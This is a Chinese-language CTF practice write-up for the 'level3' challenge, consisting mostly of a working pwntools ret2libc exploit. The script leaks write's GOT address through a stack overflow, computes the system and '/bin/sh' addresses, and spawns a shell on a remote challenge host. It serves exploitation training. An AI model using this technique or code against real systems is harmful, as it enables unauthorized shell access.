新手练习11-level3

很明显的一个栈溢出点，但是并没有给出system函数，所以需要我们自己去泄漏

具体思路：
第一次溢出返回到write函数执行write(1,write_got,4)得到write的真实地址，计算得到system跟"/bin/sh"的真实地址，然后再返回到vulnerable_function函数，第二次回到溢出点，覆盖返回地址到system执行system("/bin/sh")
exp:

#-*-coding:utf-8-*-
from pwn import *
# p = process('./level3')
#吐血了，远程打不通，不知道 是不是 库的问题
p = remote("111.198.29.45","31733")
elf = ELF('./level3')
# libc = elf.libc
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
write_plt = elf.plt['write']
print "write_plt: " + hex(write_plt)
# print hex(elf.symbols['write'])
write_got = elf.got['write']
print "write_got: " + hex(write_got)
write_libc = libc.symbols['write']
print "write_libc: " + hex(write_libc)
system_libc = libc.symbols['system']
print "system_libc: " + hex(system_libc)
vulnfun = 0x804844B
# pause()
#write(1,write_got,4)
p.recv()    #这里一定要先接收一次，这样到下面接收write_addr的时候才不会出错
payload = 140*'a' + p32(write_plt) + p32(vulnfun)
payload += p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
print "write_addr: " + hex(write_addr)
pause()
offset = write_addr - write_libc
system_addr = offset + system_libc
binsh = libc.search("/bin/sh").next()
binsh_addr = offset + binsh
print "binsh_addr: " + hex(binsh_addr)
payload = 140*'a' + p32(system_addr) + p32(vulnfun) + p32(binsh_addr)
p.sendline(payload)
p.interactive()